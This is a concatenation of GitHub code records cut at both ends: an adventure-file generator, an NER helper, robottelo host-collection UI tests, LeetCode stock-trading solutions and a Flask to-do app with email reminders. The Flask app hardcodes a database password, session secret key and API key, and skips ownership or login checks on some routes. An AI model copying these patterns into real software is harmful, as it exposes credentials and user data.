[{list_command[2:]}]'\n all_list_commands = f'{all_list_commands}\\t{list_command}\\n'\n nam_command = f'\\tname = \\'{name_of_adventure}\\''\n sta_con_command = f'\\tstarting_conditions = {adventure[\"starting_conditions\"]}'\n adv_command = \\\n '''\n\\tadventure = adv_str.ADVENTURE(name=name, major_npcs=npcs, major_locations=locations, major_secrets=secrets, trigger_dict={})\n\\twith open('data.json', 'r') as f:\n\\t\\tdata = json.load(f)\n\\tdata['adventures'].update({name: {\n\\t\\t'adventure': jsonpickle.encode(adventure, keys=True),\n\\t\\t'conditions': jsonpickle.encode(starting_conditions, keys=True)\n\\t}})\n\\twith open('data.json', 'w') as f:\n\\t\\tjson.dump(data, f, indent=4)\n\\treturn adventure, starting_conditions\n'''\n for i in all_objects_in_order:\n obj_commands = f'{obj_commands}{all_obj_commands[i]}'\n full_function_content = f'{obj_commands}\\n{all_list_commands}\\n{nam_command}\\n{sta_con_command}\\n{adv_command}'\n imp_commands = 'import adventure_structure as adv_str\\nimport json\\nimport jsonpickle'\n full_doc = f'{imp_commands}\\n\\n\\ndef {name_of_adventure.lower().replace(\" \", \"_\")}():\\n{full_function_content}\\n'\n with open(f'user_written_adventures/{author}_{name_of_adventure}.py', 'w') as f:\n f.write(full_doc)\n\n\ndef setup(author, name_of_adventure):\n background = {'object_of_interest': 'npcs', 'name_of_adventure': name_of_adventure, 'object_type': ''}\n content = {'background': background, name_of_adventure: {}}\n adventure_content = ['name', 'starting_conditions', 'npcs', 'locations', 'secrets']\n for i in adventure_content:\n content[name_of_adventure].update({i: {}})\n content[name_of_adventure]['name'] = name_of_adventure\n content[name_of_adventure]['starting_conditions'] = [None, []]\n with open('user_written_adventures/adventures.json', 'r') as f:\n data = json.load(f)\n if author not in data.keys():\n data.update({author: {}})\n if name_of_adventure in data[author].keys():\n data[author].update({'background': background})\n answer = 'Reopened adventure. You can now add objects to the adventure.'\n else:\n data[author].update(content)\n answer = 'Setup new adventure.'\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n instruction = ' We will start with the npcs. Please enter the name of your first npc. Then continue this way ' \\\n 'entering your npcs one by one until you have entered all your npcs. Then enter \"/done\". If you' \\\n 'want to exit the adventure writer enter \"/exit\". You can also open a new adventure with ' \\\n '\"/open name_of_adventure\". But any other message will be considered an npc.'\n return answer + instruction\n\n\ndef main(author, message):\n message = message.replace('\\\\', '/')\n if message.startswith('/open '):\n message = message.replace(' ', '_')\n return setup(author, message[6:])\n elif message.startswith('/exit'):\n with open('user_written_adventures/adventures.json', 'r') as f:\n data = json.load(f)\n data[author]['background']['name_of_adventure'] = None\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n return False\n else:\n return talk_and_write(message, author)\n","repo_name":"Lokisfeuer/Roleplay-with-AI","sub_path":"adventure_writer.py","file_name":"adventure_writer.py","file_ext":"py","file_size_in_byte":15014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34582839370","text":"import numpy as np\nfrom itertools import groupby\n\nfrom .dictionary import vocab\nfrom .nn import model\n\n\ndef ner(sentence, return_raw=False, threshold=0.5):\n inputs = vocab.prepare_input_sequence(sentence).reshape(1, -1)\n outputs = model.predict(inputs).reshape(-1)\n pos_conf, oa_conf = confidence(outputs, threshold)\n error = None\n raw = list(zip(sentence, outputs.tolist()))\n\n entity_name = extract_word(sentence, outputs, threshold)\n result = {\n 'threshold': threshold,\n 'positive_confidence': pos_conf,\n 'overall_confidence': oa_conf,\n 'entity': entity_name\n }\n\n if return_raw:\n result['raw'] = raw\n\n return result\n\n\n\ndef extract_word(sentence, outputs, threshold):\n group = valid_group(outputs, threshold)\n if group is None:\n return None\n w = [sentence[i] for i in group]\n return ''.join(w)\n\ndef valid_group(outputs, threshold):\n outputs = enumerate(outputs)\n above_threshold = lambda x: x[1] >= threshold\n groups = [(pos, list(v)) for pos, v in groupby(outputs, key=above_threshold)]\n pos_group_count = len(list(1 for pos,_ in groups if pos))\n\n if pos_group_count != 1:\n return None\n\n for pos, val in groups:\n if pos:\n return [i for i,_ in val]\n\n return None\n\ndef confidence(outputs, threshold):\n goals = np.copy(outputs)\n goals[outputs >= threshold] = 1.0\n goals[outputs < threshold] = 0.0\n\n def stddev(ary):\n if ary is None or len(ary) == 0:\n return 0.0\n return 1 - 2 * np.sqrt(np.mean(np.square(ary)))\n\n diff = outputs - goals\n\n positive = stddev(diff[outputs >= threshold])\n overall = stddev(diff)\n\n return positive, overall\n","repo_name":"zhulux/nlpservice","sub_path":"algorithm/ner/ner.py","file_name":"ner.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"38460262036","text":"\"\"\"Test class for Host Collection UI\n\n:Requirement: Hostcollection\n\n:CaseAutomation: Automated\n\n:CaseLevel: Acceptance\n\n:CaseComponent: UI\n\n:TestType: Functional\n\n:CaseImportance: High\n\n:Upstream: No\n\"\"\"\nimport time\n\nfrom nailgun import entities\n\nfrom robottelo.api.utils import promote\nfrom robottelo.config import settings\nfrom robottelo.constants import (\n DISTRO_DEFAULT,\n FAKE_0_CUSTOM_PACKAGE,\n FAKE_0_CUSTOM_PACKAGE_NAME,\n FAKE_0_CUSTOM_PACKAGE_GROUP,\n FAKE_0_CUSTOM_PACKAGE_GROUP_NAME,\n FAKE_1_CUSTOM_PACKAGE,\n FAKE_1_CUSTOM_PACKAGE_NAME,\n FAKE_1_YUM_REPO,\n FAKE_2_CUSTOM_PACKAGE,\n FAKE_2_ERRATA_ID,\n FAKE_6_YUM_REPO,\n)\nfrom robottelo.datafactory import gen_string\nfrom robottelo.decorators import fixture, tier2, tier3, upgrade\nfrom robottelo.products import (\n YumRepository,\n RepositoryCollection,\n SatelliteToolsRepository,\n)\nfrom robottelo.vm import VirtualMachine\n\n\n@fixture(scope='module')\ndef module_org():\n return entities.Organization().create()\n\n\n@fixture(scope='module')\ndef module_lce(module_org):\n return entities.LifecycleEnvironment(organization=module_org).create()\n\n\n@fixture(scope='module')\ndef module_repos_collection(module_org, module_lce):\n repos_collection = RepositoryCollection(\n distro=DISTRO_DEFAULT,\n repositories=[\n SatelliteToolsRepository(),\n YumRepository(url=FAKE_1_YUM_REPO),\n YumRepository(url=FAKE_6_YUM_REPO),\n ]\n )\n repos_collection.setup_content(\n module_org.id, module_lce.id, upload_manifest=True)\n return repos_collection\n\n\n@fixture\ndef vm_content_hosts(request, module_repos_collection):\n clients = []\n for _ in range(2):\n client = VirtualMachine(distro=module_repos_collection.distro)\n clients.append(client)\n request.addfinalizer(client.destroy)\n client.create()\n module_repos_collection.setup_virtual_machine(client)\n return clients\n\n\n@fixture\ndef vm_host_collection(module_org, vm_content_hosts):\n host_ids = [\n entities.Host().search(query={\n 'search': 'name={0}'.format(host.hostname)})[0].id\n for host in vm_content_hosts\n ]\n host_collection = entities.HostCollection(\n host=host_ids,\n organization=module_org,\n ).create()\n return host_collection\n\n\ndef _is_package_installed(\n vm_clients, package_name, expect_installed=True, retries=10,\n iteration_sleep=15):\n \"\"\"Check whether package name was installed on the list of Virtual Machines\n clients.\n \"\"\"\n assert len(vm_clients) > 0\n installed = 0\n if not expect_installed:\n installed = len(vm_clients)\n for vm_client in vm_clients:\n for ind in range(retries):\n result = vm_client.run(\n 'rpm -q {0}'.format(package_name))\n if result.return_code == 0 and expect_installed:\n installed += 1\n break\n elif result.return_code != 0 and not expect_installed:\n installed -= 1\n break\n if ind < retries - 1:\n time.sleep(iteration_sleep)\n else:\n break\n\n if expect_installed:\n return installed == len(vm_clients)\n else:\n return bool(installed)\n\n\ndef _install_package_with_assertion(vm_clients, package_name):\n \"\"\"Install package in Virtual machine clients and assert installed\"\"\"\n for client in vm_clients:\n result = client.run(\n 'yum install -y {0}'.format(package_name))\n assert result.return_code == 0\n assert _is_package_installed(vm_clients, package_name)\n\n\ndef _get_content_repository_urls(repos_collection, lce, content_view):\n \"\"\"Returns a list of the content repository urls\"\"\"\n custom_url_template = (\n 'https://{hostname}/pulp/repos/{org_label}/{lce.name}'\n '/{content_view.name}/custom/{product_label}/{repository_name}'\n )\n rh_sat_tools_url_template = (\n 'https://{hostname}/pulp/repos/{org_label}/{lce.name}'\n '/{content_view.name}/content/dist/rhel/server/{major_version}'\n '/{major_version}Server/$basearch/sat-tools/{product_version}/os'\n )\n repos_urls = [\n custom_url_template.format(\n hostname=settings.server.hostname,\n org_label=repos_collection.organization['label'],\n lce=lce,\n content_view=content_view,\n product_label=repos_collection.custom_product['label'],\n repository_name=repository['name'],\n )\n for repository in repos_collection.custom_repos_info\n ]\n # add sat-tool rh repo\n # Note: if sat-tools is not cdn it must be already in repos_urls\n for repo in repos_collection:\n if isinstance(repo, SatelliteToolsRepository) and repo.cdn:\n repos_urls.append(rh_sat_tools_url_template.format(\n hostname=settings.server.hostname,\n org_label=repos_collection.organization['label'],\n lce=lce,\n content_view=content_view,\n major_version=repo.distro_major_version,\n product_version=repo.repo_data['version'],\n ))\n return repos_urls\n\n\n@tier2\ndef test_negative_install_via_remote_execution(session, module_org):\n \"\"\"Test basic functionality of the Hosts collection UI install package via\n remote execution.\n\n :id: c5fe46fb-0b34-4ea3-bc53-e86c18adaf94\n\n :setup: Create a host collection with two fake hosts assigned.\n\n :expectedresults: The package is not installed, and the job invocation\n status contains some expected values: hosts information, jos status.\n\n :CaseLevel: Integration\n \"\"\"\n hosts = []\n for _ in range(2):\n hosts.append(entities.Host(organization=module_org).create())\n host_collection = entities.HostCollection(\n host=[host.id for host in hosts],\n organization=module_org,\n ).create()\n with session:\n job_values = session.hostcollection.manage_packages(\n host_collection.name,\n packages=FAKE_0_CUSTOM_PACKAGE_NAME,\n action='install',\n action_via='via remote execution'\n )\n assert job_values['job_status'] == 'Failed'\n assert job_values['job_status_progress'] == '100%'\n assert int(job_values['total_hosts']) == len(hosts)\n assert ({host.name for host in hosts}\n == {host['Host'] for host in job_values['hosts_table']})\n\n\n@tier2\ndef test_negative_install_via_custom_remote_execution(session, module_org):\n \"\"\"Test basic functionality of the Hosts collection UI install package via\n remote execution - customize first.\n\n :id: 5aa7f084-bab7-4e62-9bf3-a37fd4aa71fa\n\n :setup: Create a host collection with two fake hosts assigned.\n\n :expectedresults: The package is not installed, and the job invocation\n status contains some expected values: hosts information, jos status.\n\n :CaseLevel: Integration\n \"\"\"\n hosts = []\n for _ in range(2):\n hosts.append(entities.Host(organization=module_org).create())\n host_collection = entities.HostCollection(\n host=[host.id for host in hosts],\n organization=module_org,\n ).create()\n with session:\n job_values = session.hostcollection.manage_packages(\n host_collection.name,\n packages=FAKE_0_CUSTOM_PACKAGE_NAME,\n action='install',\n action_via='via remote execution - customize first',\n job_values=dict(search_query='host_collection_id = {0}'.format(\n host_collection.id))\n )\n assert job_values['job_status'] == 'Failed'\n assert job_values['job_status_progress'] == '100%'\n assert int(job_values['total_hosts']) == len(hosts)\n assert ({host.name for host in hosts}\n == {host['Host'] for host in job_values['hosts_table']})\n\n\n@upgrade\n@tier3\ndef test_positive_add_host(session):\n \"\"\"Check if host can be added to Host Collection\n\n :id: 80824c9f-15a1-4f76-b7ac-7d9ca9f6ed9e\n\n :expectedresults: Host is added to Host Collection successfully\n\n :CaseLevel: System\n \"\"\"\n hc_name = gen_string('alpha')\n org = entities.Organization().create()\n cv = entities.ContentView(organization=org).create()\n lce = entities.LifecycleEnvironment(organization=org).create()\n cv.publish()\n promote(cv.read().version[0], lce.id)\n host = entities.Host(\n organization=org,\n content_facet_attributes={\n 'content_view_id': cv.id,\n 'lifecycle_environment_id': lce.id,\n },\n ).create()\n with session:\n session.organization.select(org_name=org.name)\n session.hostcollection.create({'name': hc_name})\n assert session.hostcollection.search(hc_name)[0]['Name'] == hc_name\n session.hostcollection.associate_host(hc_name, host.name)\n hc_values = session.hostcollection.read(hc_name)\n assert (\n hc_values['hosts']['resources']['assigned'][0]['Name'] == host.name\n )\n\n\n@tier3\n@upgrade\ndef test_positive_install_package(\n session, module_org, vm_content_hosts, vm_host_collection):\n \"\"\"Install a package to hosts inside host collection remotely\n\n :id: eead8392-0ffc-4062-b045-5d0252670775\n\n :expectedresults: Package was successfully installed on all the hosts\n in host collection\n\n :CaseLevel: System\n \"\"\"\n with session:\n session.organization.select(org_name=module_org.name)\n session.hostcollection.manage_packages(\n vm_host_collection.name,\n packages=FAKE_0_CUSTOM_PACKAGE_NAME,\n action='install'\n )\n assert _is_package_installed(\n vm_content_hosts, FAKE_0_CUSTOM_PACKAGE_NAME)\n\n\n@tier3\n@upgrade\ndef test_positive_remove_package(\n session, module_org, vm_content_hosts, vm_host_collection):\n \"\"\"Remove a package from hosts inside host collection remotely\n\n :id: 488fa88d-d0ef-4108-a050-96fb621383df\n\n :expectedresults: Package was successfully removed from all the hosts\n in host collection\n\n :CaseLevel: System\n \"\"\"\n _install_package_with_assertion(vm_content_hosts, FAKE_0_CUSTOM_PACKAGE)\n with session:\n session.organization.select(org_name=module_org.name)\n session.hostcollection.manage_packages(\n vm_host_collection.name,\n packages=FAKE_0_CUSTOM_PACKAGE_NAME,\n action='remove'\n )\n assert not _is_package_installed(\n vm_content_hosts,\n FAKE_0_CUSTOM_PACKAGE_NAME,\n expect_installed=False\n )\n\n\n@tier3\ndef test_positive_upgrade_package(\n session, module_org, vm_content_hosts, vm_host_collection):\n \"\"\"Upgrade a package on hosts inside host collection remotely\n\n :id: 5a6fff0a-686f-419b-a773-4d03713e47e9\n\n :expectedresults: Package was successfully upgraded on all the hosts in\n host collection\n\n :CaseLevel: System\n \"\"\"\n _install_package_with_assertion(vm_content_hosts, FAKE_1_CUSTOM_PACKAGE)\n with session:\n session.organization.select(org_name=module_org.name)\n session.hostcollection.manage_packages(\n vm_host_collection.name,\n packages=FAKE_1_CUSTOM_PACKAGE_NAME,\n action='update'\n )\n assert _is_package_installed(vm_content_hosts, FAKE_2_CUSTOM_PACKAGE)\n\n\n@tier3\n@upgrade\ndef test_positive_install_package_group(\n session, module_org, vm_content_hosts, vm_host_collection):\n \"\"\"Install a package group to hosts inside host collection remotely\n\n :id: 2bf47798-d30d-451a-8de5-bc03bd8b9a48\n\n :expectedresults: Package group was successfully installed on all the\n hosts in host collection\n\n :CaseLevel: System\n \"\"\"\n with session:\n session.organization.select(org_name=module_org.name)\n session.hostcollection.manage_packages(\n vm_host_collection.name,\n content_type='Package Group',\n packages=FAKE_0_CUSTOM_PACKAGE_GROUP_NAME,\n action='install',\n )\n for package in FAKE_0_CUSTOM_PACKAGE_GROUP:\n assert _is_package_installed(vm_content_hosts, package)\n\n\n@tier3\ndef test_positive_remove_package_group(\n session, module_org, vm_content_hosts, vm_host_collection):\n \"\"\"Remove a package group from hosts inside host collection remotely\n\n :id: 458897dc-9836-481a-b777-b147d64836f2\n\n :expectedresults: Package group was successfully removed on all the\n hosts in host collection\n\n :CaseLevel: System\n \"\"\"\n for client in vm_content_hosts:\n result = client.run('yum groups install -y {0}'.format(\n FAKE_0_CUSTOM_PACKAGE_GROUP_NAME))\n assert result.return_code == 0\n for package in FAKE_0_CUSTOM_PACKAGE_GROUP:\n assert _is_package_installed(vm_content_hosts, package)\n with session:\n session.organization.select(org_name=module_org.name)\n session.hostcollection.manage_packages(\n vm_host_collection.name,\n content_type='Package Group',\n packages=FAKE_0_CUSTOM_PACKAGE_GROUP_NAME,\n action='remove',\n )\n for package in FAKE_0_CUSTOM_PACKAGE_GROUP:\n assert not _is_package_installed(\n vm_content_hosts,\n package,\n expect_installed=False\n )\n\n\n@tier3\n@upgrade\ndef test_positive_install_errata(\n session, module_org, vm_content_hosts, vm_host_collection):\n \"\"\"Install an errata to the hosts inside host collection remotely\n\n :id: 69c83000-0b46-4735-8c03-e9e0b48af0fb\n\n :expectedresults: Errata was successfully installed in all the hosts in\n host collection\n\n :CaseLevel: System\n \"\"\"\n _install_package_with_assertion(vm_content_hosts, FAKE_1_CUSTOM_PACKAGE)\n with session:\n session.organization.select(org_name=module_org.name)\n task_values = session.hostcollection.install_errata(\n vm_host_collection.name, FAKE_2_ERRATA_ID)\n assert task_values['result'] == 'success'\n assert _is_package_installed(vm_content_hosts, FAKE_2_CUSTOM_PACKAGE)\n\n\n@tier3\ndef test_positive_change_assigned_content(\n session, module_org, module_lce, vm_content_hosts, vm_host_collection,\n module_repos_collection):\n \"\"\"Change Assigned Life cycle environment and content view of host\n collection\n\n :id: e426064a-db3d-4a94-822a-fc303defe1f9\n\n :customerscenario: true\n\n :steps:\n 1. Setup activation key with content view that contain product\n repositories\n 2. Prepare hosts (minimum 2) and subscribe them to activation key,\n katello agent must be also installed and running on each host\n 3. Create a host collection and add the hosts to it\n 4. Run \"subscription-manager repos\" command on each host to notice\n the repos urls current values\n 5. Create a new life cycle environment\n 6. Create a copy of content view and publish/promote it to the new\n life cycle environment\n 7. Go to Hosts => Hosts Collections and select the host collection\n 8. under host collection details tab notice the Actions Area and\n click on the link\n \"Change assigned Lifecycle Environment or Content View\"\n 9. When a dialog box is open, select the new life cycle environment\n and the new content view\n 10. Click on \"Assign\" button and click \"Yes\" button on confirmation\n dialog when it appears\n 11. After last step the host collection change task page will\n appear\n 12. Run \"subscription-manager refresh\" command on each host\n 13. Run \"subscription-manager repos\" command on each host\n\n :expectedresults:\n 1. The host collection change task successfully finished\n 2. The \"subscription-manager refresh\" command successfully executed\n and \"All local data refreshed\" message is displayed\n 3. The urls listed by last command \"subscription-manager repos\" was\n updated to the new Life cycle environment and content view\n names\n\n :BZ: 1315280\n\n :CaseLevel: System\n \"\"\"\n new_lce_name = gen_string('alpha')\n new_cv_name = gen_string('alpha')\n new_lce = entities.LifecycleEnvironment(\n name=new_lce_name, organization=module_org).create()\n content_view = entities.ContentView(\n id=module_repos_collection.setup_content_data['content_view']['id']\n ).read()\n new_content_view = entities.ContentView(\n id=content_view.copy(data={u'name': new_cv_name})['id']\n )\n new_content_view.publish()\n new_content_view = new_content_view.read()\n new_content_view_version = new_content_view.version[0]\n new_content_view_version.promote(data={'environment_id': new_lce.id})\n # repository urls listed by command \"subscription-manager repos\" looks\n # like:\n # Repo URL : https://{host}/pulp/repos/{org}/{lce}/{cv}/custom\n # /{product_name}/{repo_name}\n repo_line_start_with = 'Repo URL: '\n expected_repo_urls = _get_content_repository_urls(\n module_repos_collection, module_lce, content_view)\n for client in vm_content_hosts:\n result = client.run(\"subscription-manager repos\")\n assert result.return_code == 0\n client_repo_urls = [\n line.split(' ')[-1]\n for line in result.stdout\n if line.startswith(repo_line_start_with)\n ]\n assert len(client_repo_urls) > 0\n assert set(expected_repo_urls) == set(client_repo_urls)\n with session:\n session.organization.select(org_name=module_org.name)\n task_values = session.hostcollection.change_assigned_content(\n vm_host_collection.name,\n new_lce.name,\n new_content_view.name\n )\n assert task_values['result'] == 'success'\n expected_repo_urls = _get_content_repository_urls(\n module_repos_collection, new_lce, new_content_view)\n for client in vm_content_hosts:\n result = client.run(\"subscription-manager refresh\")\n assert result.return_code == 0\n assert 'All local data refreshed' in result.stdout\n result = client.run(\"subscription-manager repos\")\n assert result.return_code == 0\n client_repo_urls = [\n line.split(' ')[-1]\n for line in result.stdout\n if line.startswith(repo_line_start_with)\n ]\n assert len(client_repo_urls) > 0\n assert set(expected_repo_urls) == set(client_repo_urls)\n","repo_name":"sghai/robottelo","sub_path":"tests/foreman/ui_airgun/test_hostcollection.py","file_name":"test_hostcollection.py","file_ext":"py","file_size_in_byte":18739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"18138861968","text":"'''\n309. Best Time to Buy and Sell Stock with Cooldown\nMedium\n\n2364\n\n82\n\nAdd to List\n\nShare\nSay you have an array for which the ith element is the price of a given stock on day i.\n\nDesign an algorithm to find the maximum profit. You may complete as many transactions as you like (ie, buy one and sell one share of the stock multiple times) with the following restrictions:\n\nYou may not engage in multiple transactions at the same time (ie, you must sell the stock before you buy again).\nAfter you sell your stock, you cannot buy stock on next day. (ie, cooldown 1 day)\nExample:\n\nInput: [1,2,3,0,2]\nOutput: 3 \nExplanation: transactions = [buy, sell, cooldown, buy, sell]\n\n'''\n\nclass Solution:\n # TOP DOWN ACCEPTED SOLUTION\n def maxProfit(self, prices: List[int]) -> int:\n \n @lru_cache(maxsize=None)\n def helper(i, bought, cooldown):\n \n if i == len(prices):\n return 0\n \n if bought == -1 and not cooldown:\n return helper(i+1, prices[i], False)\n \n if bought == -1 and cooldown:\n return helper(i+1, -1, False)\n \n if prices[i] < bought:\n return helper(i+1, prices[i], False)\n \n if prices[i] > bought:\n return max(helper(i+1, -1, True) + (prices[i] - bought), helper(i+1, bought, False) )\n \n if prices[i] == bought:\n return helper(i+1, bought, False)\n \n return helper(0, -1, False)\n \n'''\nSTEFAN FINITE STATE MACHINE. \n'''\n\ndef maxProfit(self, prices):\n free = 0\n have = cool = float('-inf')\n for p in prices:\n free, have, cool = max(free, cool), max(have, free - p), have + p\n return max(free, cool)\n'''\nfree is the maximum profit I can have while being free to buy.\nhave is the maximum profit I can have while having stock.\ncool is the maximum profit I can have while cooling down.\n'''\n\n'''\nFirst, in Python iteration, writings variable assignment in one \nline assures all values to be written concurrently. i.e.\n\n\n\nSecond, (now we understand all three values are updated at the same time), \nthere are 3 states if you can ever be in as we iteration through the day.\n\ncase 1 (free): free to trade (free last round or cool-down last round)\ncase 2 (have): not free to trade because bought in the current iteration (last round must be free)\ncase 3 (cool): not free to trade because sold in the current iteration (last round must be having)\nThird, if we understand the 3 case definition, we should be able to write down the update step without any issue.\n\n free = max(free, cool)\n have = max(have, free - p) # if we were free last round and just bought, then our profit(in balance) need to adjust because buying cost money\n cool = have + p # to be in cool-down, we just sold in last round (realizing profit), then profit would increase by the current price\n \nreally, if you think of profit like balance, it would make more sense. have + p2 = (free -p1 + p2) = free + (p2 - p1). \nNotice that p1 and p2 are two different p because we can't be in have state and at the same time in cool state.\n\n\nLast, now everything should be very clear, but how we initialize things and what to return are also important.\nWhat to return is easier to answer because if we having stock, we can't be at maximum profit. Therefore, \nthe only two states we can be when we are at a max profit would be either a cool-down state or in the free state.\n\nWhat to initialize requires us to think about the definition for each state again. If we initialize \nhave and cool to be 0, then we would be saying, by default, we have already bought the stock at price 0. \nThat doesn't make sense. Think about this: we can only be in have if we were free and we can only \nbe in cool if we were in have. Therefore, only free can be 0, the other two must be -inf. \n\n'''\n\n\n'''\nNOT STATE MACHINE SOLUTION:\n\nI am sharing my step-by-step process of how the idea is built up.\n\nWe know we have to make a choice on day[i], so we can think \nfrom the perspective of what determines the option of choices we have on day[i].\n\nOn day[i], we can choose cooldown, buy, or sell:\n\nUnder what condition we can choose to cooldown on day[i]?\nIt is obvious, there is not requirement. We can choose to cooldown on anyday.\nUnder what condition we can choose to buy a stock on day[i]?\nThe answer is we need make sure that we do not own any stock at end of \nday[i-2] because there is one day cooldown requirement.\n\nUnder what condition we can choose to sell a stock on day[i]?\n\nThe answer is we must own a stock at the end of day[i-1].\n\nNow we can see the factors that determine the options of choices we have on day[i] is the status of \nwhether we owned a stock previously. So, let own[i] represents the maximum profit for the first \ni days if we own a stock at the end of day[i]. not_own[i] represents the maximum profit for the \nfirst i days if we do not own a stock at the end of day[i].\n\nLuckily, knowing own[i] and not_own[i] are enough because\n1: The maximum profit can be derived from the two status because we either own or not own a stock at end of one day.\n2: We can derive the the current status on day[i] if we know the previous status.\n\nFinally, we can write up the equations:\nown[i] = max(own[i-1], not_own[i-2] - prices[i])\nnot_own[i] = max(not_own[i-1], own[i-1] + prices[i])\n\nIn fact, the equations are the same of the idea of buy and sell, but I \nthink the process to come up with the idea could be better understood by my approach.\n\n'''\n\nclass Solution:\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n res = 0\n own_last = -prices[0]\n not_own_last2 = 0\n not_own_last = 0\n for i in range(1, len(prices)):\n own = max(own_last, not_own_last2 - prices[i])\n not_own = max(not_own_last, own_last + prices[i])\n\n not_own_last2 = not_own_last\n own_last = own\n not_own_last = not_own\n res = max(res, max(own, not_own))\n return res\n\n","repo_name":"harman666666/Algorithms-Data-Structures-and-Design","sub_path":"Algorithms and Data Structures Practice/LeetCode Questions/MOST IMPORTANT PROBLEMS/309. Best Time to Buy and Sell Stock with Cooldown.py","file_name":"309. Best Time to Buy and Sell Stock with Cooldown.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70085159468","text":"import logging\n\nfrom flask import Flask, render_template, request, redirect, url_for, flash, session\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom datetime import datetime, timedelta\nfrom flask_session import Session\n\napp = Flask(__name__)\napp.debug = True\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:secret@127.0.0.1:33072/flask_db'\napp.config['SECRET_KEY'] = '2b1a07d8b1f3b2c8de3f6b2d5d7f8a7b'\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\napp.config['TEMPLATES_AUTO_RELOAD'] = True\n\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\nfrom models import User, Todo\nfrom helpers import login_required\n\nfrom mailjet_rest import Client\n\napi_key = '25c155cab4f2ba7978a230600293dda8'\napi_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'\nmailjet = Client(auth=(api_key, api_secret), version='v3.1')\n\n# logging.basicConfig(filename='logs/app.log', level=logging.DEBUG, format='%(asctime)s %(levelname)s: %(message)s')\n\n\n@app.route('/')\n@app.route('/todo_list')\n@login_required\ndef todo_list():\n user_id = session[\"user_id\"]\n todos = Todo.query.filter_by(user_id=user_id, completed=0).filter(Todo.deleted_at.is_(None)).all()\n return render_template('todo_list.html', todos=todos)\n\n\n@app.route('/add_todo', methods=['GET', 'POST'])\n@login_required\ndef add_todo():\n user_id = session[\"user_id\"]\n if request.method == 'POST':\n title = request.form.get('title')\n description = request.form.get('description')\n deadline = request.form.get('deadline')\n todo = Todo(user_id=user_id, title=title, description=description, deadline=deadline, completed=False, notified=False)\n db.session.add(todo)\n db.session.commit()\n return redirect(url_for('todo_list'))\n return render_template('add_todo.html')\n\n\n@app.route('/edit_todo/', methods=['GET', 'POST'])\n@login_required\ndef edit_todo(todo_id):\n todo = Todo.query.get_or_404(todo_id)\n if request.method == 'POST':\n todo.title = request.form['title']\n todo.description = request.form['description']\n todo.deadline = request.form['deadline']\n db.session.commit()\n flash('To-Do item updated successfully!', 'alert alert-success')\n return redirect(url_for('todo_list'))\n return render_template('edit_todo.html', todo=todo)\n\n\n@app.route('/delete_todo/', methods=['GET', 'POST'])\n@login_required\ndef delete_todo(todo_id):\n user_id = session[\"user_id\"]\n todo = Todo.query.get_or_404(todo_id)\n if todo.user_id != user_id:\n flash('You are not authorized to delete this to-do item!', 'alert alert-danger')\n return redirect(url_for('todo_list'))\n\n if request.method == 'POST':\n db.session.delete(todo)\n db.session.commit()\n flash('To-Do item deleted successfully!', 'alert alert-success')\n return redirect(url_for('todo_list'))\n return render_template('delete_todo.html', todo=todo)\n\n\n@app.route('/complete_todo/', methods=['POST'])\ndef complete_todo(todo_id):\n user_id = session[\"user_id\"]\n todo = Todo.query.get(todo_id)\n if todo:\n if todo.user_id != user_id:\n flash('You are not authorized to complete this to-do item!', 'alert alert-danger')\n return redirect(url_for('todo_list'))\n\n if not todo.completed:\n todo.completed = True\n db.session.commit()\n flash('To-do item marked as completed!', 'alert alert-success')\n else:\n flash('To-do item is already completed!', 'alert alert-info')\n else:\n flash('To-do item not found!', 'alert alert-danger')\n return redirect(url_for('todo_list'))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n session.clear()\n\n if request.method == 'POST':\n username = request.form.get('username')\n email = request.form.get('email')\n password = request.form.get('password')\n existing_user = User.query.filter(\n db.or_(User.username == username, User.email == email)\n ).first()\n\n if existing_user:\n flash('Username or email already exists. Please try a different one.', 'alert alert-danger')\n return render_template('register.html')\n\n new_user = User(username=username, email=email, password=password)\n db.session.add(new_user)\n db.session.commit()\n flash('Registration successful! You can now log in.', 'alert alert-success')\n return render_template('login.html')\n\n return render_template('register.html')\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n session.clear()\n if request.method == 'POST':\n username = request.form.get('username')\n password = request.form.get('password')\n user = User.query.filter_by(username=username).first()\n if user and user.verify_password(password):\n session[\"user_id\"] = user.id\n return redirect('/')\n else:\n flash('Invalid username or password', 'alert alert-danger')\n\n return render_template('login.html')\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n session.clear()\n return redirect('/login')\n\n\n@app.route('/cron_send_email')\ndef cron_send_email():\n logging.info(\"cron_send_email!\")\n current_time = datetime.now()\n deadline_limit = current_time + timedelta(hours=8)\n logging.info(\"current_time: {}\".format(current_time))\n logging.info(\"deadline_limit: {}\".format(deadline_limit))\n todos = Todo.query.filter(\n Todo.deadline <= deadline_limit,\n Todo.deadline >= current_time,\n Todo.completed == False,\n Todo.notified == False\n ).all()\n\n for todo in todos:\n logging.info(\"Sending email for todo: {}\".format(todo.id))\n result = send_email(todo.id)\n if result:\n todo.notified = True\n db.session.commit()\n\n return \"Cron job executed successfully!\"\n\n\ndef send_email(todo_id):\n todo = Todo.query.get(todo_id)\n if todo:\n if todo.completed:\n logging.info(\"Todo {} is already completed!\".format(todo.id))\n return True\n else:\n user = User.query.get(todo.user_id)\n if not user:\n logging.info(\"User {} not found!\".format(todo.user_id))\n return False\n else:\n logging.info(\"Todo {} not found!\".format(todo_id))\n return False\n\n data = {\n 'Messages': [\n {\n \"From\": {\n 